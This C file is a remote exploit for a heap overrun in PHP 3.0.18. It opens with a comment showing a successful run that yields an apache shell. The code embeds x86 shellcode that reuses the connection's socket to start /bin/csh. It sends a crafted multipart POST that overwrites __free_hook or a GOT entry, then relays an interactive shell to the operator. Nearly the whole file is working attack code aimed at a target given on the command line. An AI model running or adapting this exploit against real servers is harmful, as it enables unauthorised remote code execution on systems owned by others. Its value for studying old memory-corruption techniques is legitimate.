/*PHP 3.0.18 / heap overrun remote exploit
programmed by hsj  : 02.03.05

[hsj@trinity php]$ ./php3018_exp 192.168.0.3 80 /hoge.php
Warning: no access to tty (Bad file descriptor).
Thus no job control in this shell.
%id
uid=48(apache) gid=48(apache) groups=48(apache)
%

test on Red Hat Linux release 7.2 (Enigma) by xundi@xfocus.org
[root@test72 xundi]# uname -a
Linux test72 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown
apache-1.3.23 + php-3.0.18,slight modify ;(
Thanks to maxi,dove. 
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>

#define LBUF_ADDR    0xbfffbdac    /* lbuf addr mean shellcode addr here*/
#if 1
#define REWRITE_ADDR 0x4024fa80   /* __free_hook addr */
#else
#define REWRITE_ADDR 0x40457f0c   /* GOT entry of free after libphp3.so relocating */
#endif
#define OFFSET       (544 - 16)   /* lbuf to sbuf header */
#define BUFLEN       1024

char shellcode[] =
"\xeb\x39\x5e\x8d\x46\x0c\x89\x46\x04\x89\xc7\x8d\x46\x1c\x89\x46"
"\x08\x31\xdb\xb3\x10\x89\x18\x31\xc9\xb1\xff\x31\xc0\x89\xca\x89"
"\x0e\xb0\x66\xb3\x07\x89\xf1\xcd\x80\x89\xd1\x85\xc0\x75\x08\x66"
"\x81\x7f\x02\x34\x12\x74\x06\xe2\xe2\xeb\x45\xeb\x4a\x89\xcb\x31"
"\xc9\xb1\x03\x31\xc0\xb0\x3f\x49\xcd\x80\x41\xe2\xf6\xc7\x06\x2f"
"\x62\x69\x6e\xc7\x46\x04\x2f\x63\x73\x68\xc7\x46\x0c\x2d\x69\x41"
"\x41\x89\x76\x10\x8d\x46\x0c\x89\x46\x14\x8d\x4e\x10\x8d\x56\x18"
"\x31\xc0\x89\x02\x89\x46\x08\x88\x46\x0e\x89\xf3\xb0\x0b\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80\xe8\x76\xff\xff\xff";

int make_connection(char *address,int port)
{
    struct sockaddr_in server,target;
    struct hostent *host;
    int s,i,bf;
    fd_set wd;
    struct timeval tv;

    s = socket(AF_INET,SOCK_STREAM,0);
    if(s<0)
        return -1;
    memset((char *)&server,0,sizeof(server));
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = htonl(INADDR_ANY);
    server.sin_port = 0;

    if(bind(s,(struct sockaddr *)&server,sizeof(server))<0)
    {
        close(s);
        return -2;
    }

    target.sin_family = AF_INET;
    target.sin_addr.s_addr = inet_addr(address);
    if(target.sin_addr.s_addr==-1)
    {
        host = gethostbyname(address);
        if(host==0)
        {
            close(s);
            return -3;
        }
        memcpy(&(target.sin_addr),*(host->h_addr_list),host->h_length);
    }
    target.sin_port = htons(port);
    bf = 1;
    ioctl(s,FIONBIO,&bf);
    tv.tv_sec = 30;
    tv.tv_usec = 0;
    FD_ZERO(&wd);
    FD_SET(s,&wd);
    connect(s,(struct sockaddr *)&target,sizeof(target));
    if((i=select(s+1,0,&wd,0,&tv))==(-1))
    {
        close(s);
        return -4;
    }
    if(i==0)
    {
        close(s);
        return -5;
    }
    i = sizeof(int);
    getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);
    if((bf!=0)||(i!=sizeof(int)))
    {
        close(s);
        errno = bf;
        return -6;
    }
    ioctl(s,FIONBIO,&bf);
    return s;
}

int sh(int in,int out,int s)
{
    char sbuf[128],rbuf[128];
    int i,ti,fd_cnt,ret=0,slen=0,rlen=0;
    fd_set rd,wr;

    fd_cnt = in > out ? in : out;
    fd_cnt = s > fd_cnt ? s : fd_cnt;
    fd_cnt++;
    for(;;)
    {
        FD_ZERO(&rd);
        if(rlen<sizeof(rbuf))
            FD_SET(s,&rd);
        if(slen<sizeof(sbuf))
            FD_SET(in,&rd);

        FD_ZERO(&wr);
        if(slen)
            FD_SET(s,&wr);
        if(rlen)
            FD_SET(out,&wr);

        if((ti=select(fd_cnt,&rd,&wr,0,0))==(-1))
            break;
        if(FD_ISSET(in,&rd))
        {
            if((i=read(in,(sbuf+slen),(sizeof(sbuf)-slen)))==(-1))
            {
                ret = -2;
                break;
            }
            else if(i==0)
            {
                ret = -3;
                break;
            }
            slen += i;
            if(!(--ti))
                continue;
        }
        if(FD_ISSET(s,&wr))
        {
            if((i=write(s,sbuf,slen))==(-1))
                break;
            if(i==slen)
                slen = 0;
            else
            {
                slen -= i;
                memmove(sbuf,sbuf+i,slen);
            }
            if(!(--ti))
                continue;
        }
        if(FD_ISSET(s,&rd))
        {
            if((i=read(s,(rbuf+rlen),(sizeof(rbuf)-rlen)))<=0)
                break;
            rlen += i;
            if(!(--ti))
                continue;
        }
        if(FD_ISSET(out,&wr))
        {
            if((i=write(out,rbuf,rlen))==(-1))
                break;
            if(i==rlen)
                rlen = 0;
            else
            {
                rlen -= i;
                memmove(rbuf,rbuf+i,rlen);
            }
        }
    }
    return ret;
}

int main(int argc,char *argv[])
{
    int sock,i,len,buflen;
    struct sockaddr_in si;
    char data[8192],buf[4096],buf2[2048];

    if(argc<4)
    {
        fprintf(stderr,"usage :$ %s server-address port-no php-path\n",argv[0]);
        exit(0);
    }

    sock = make_connection(argv[1],atoi(argv[2]));
    if(sock<0)
    {
        fprintf(stderr,"can not connect to %s.\n",argv[1]);
        exit(-1);
    }

    i = sizeof(struct sockaddr_in);
    if(getsockname(sock,(struct sockaddr *)&si,&i)==-1)
    {
        perror("getsockname");
        exit(-2);
    }
    shellcode[51]=(unsigned char)((si.sin_port>>0)&0xff);
    shellcode[52]=(unsigned char)((si.sin_port>>8)&0xff);

    for(i=0;i<sizeof(buf2);)
    {
        buf2[i++] = 0xeb;
        buf2[i++] = 0x04;
    }
    buf2[0] = 0xeb;
    buf2[1] = 0x06;
    *(unsigned int *)&buf2[OFFSET-6] = 0x41414141;
    buf2[OFFSET-2] = 0xeb;
    buf2[OFFSET-1] = 0x08;
    *(unsigned int *)&buf2[OFFSET+0] = LBUF_ADDR;
    *(unsigned int *)&buf2[OFFSET+4] = REWRITE_ADDR;
    *(unsigned int *)&buf2[BUFLEN-strlen(shellcode)-4] = 0x41414141;
    memcpy(buf2+BUFLEN-strlen(shellcode),shellcode,strlen(shellcode));
    buf2[BUFLEN] = 0;
    strcpy(buf,"--__THIS_IS_BOUNDARY__\r\n");
    strcat(buf,"Content-Disposition: form-data; name=\"");
    strcat(buf,buf2);
    strcat(buf,"[]\"; filename=\"hoge\";\r\n\r\nhoge\r\n");
    strcat(buf,"--__THIS_IS_BOUNDARY__\r\n");
    memset(buf2,0x41,sizeof(buf2));
    buf2[BUFLEN-512-1] = 0;
    strcat(buf,"Content-Disposition: form-data; name=\"");
    strcat(buf,buf2);
    strcat(buf,"\"; filename=\"fuga\";\r\n\r\nfuga\r\n");
    strcat(buf,"--__THIS_IS_BOUNDARY__\r\n");
    buflen = strlen(buf);

    /* nice! this is exploitable!!!1192 */
    len = sprintf(data,"POST %s HTTP/1.1\r\n"
                       "Content-Type: multipart/form-data; boundary=__THIS_IS_BOUNDARY__\r\n"
                       "Host: %s\r\n"
                       "Content-Length: %d\r\n\r\n%s",argv[3],argv[1],buflen,buf);
    write(sock,data,len);

    sh(0,1,sock);

    shutdown(sock,2);
    close(sock);

    return 0;
}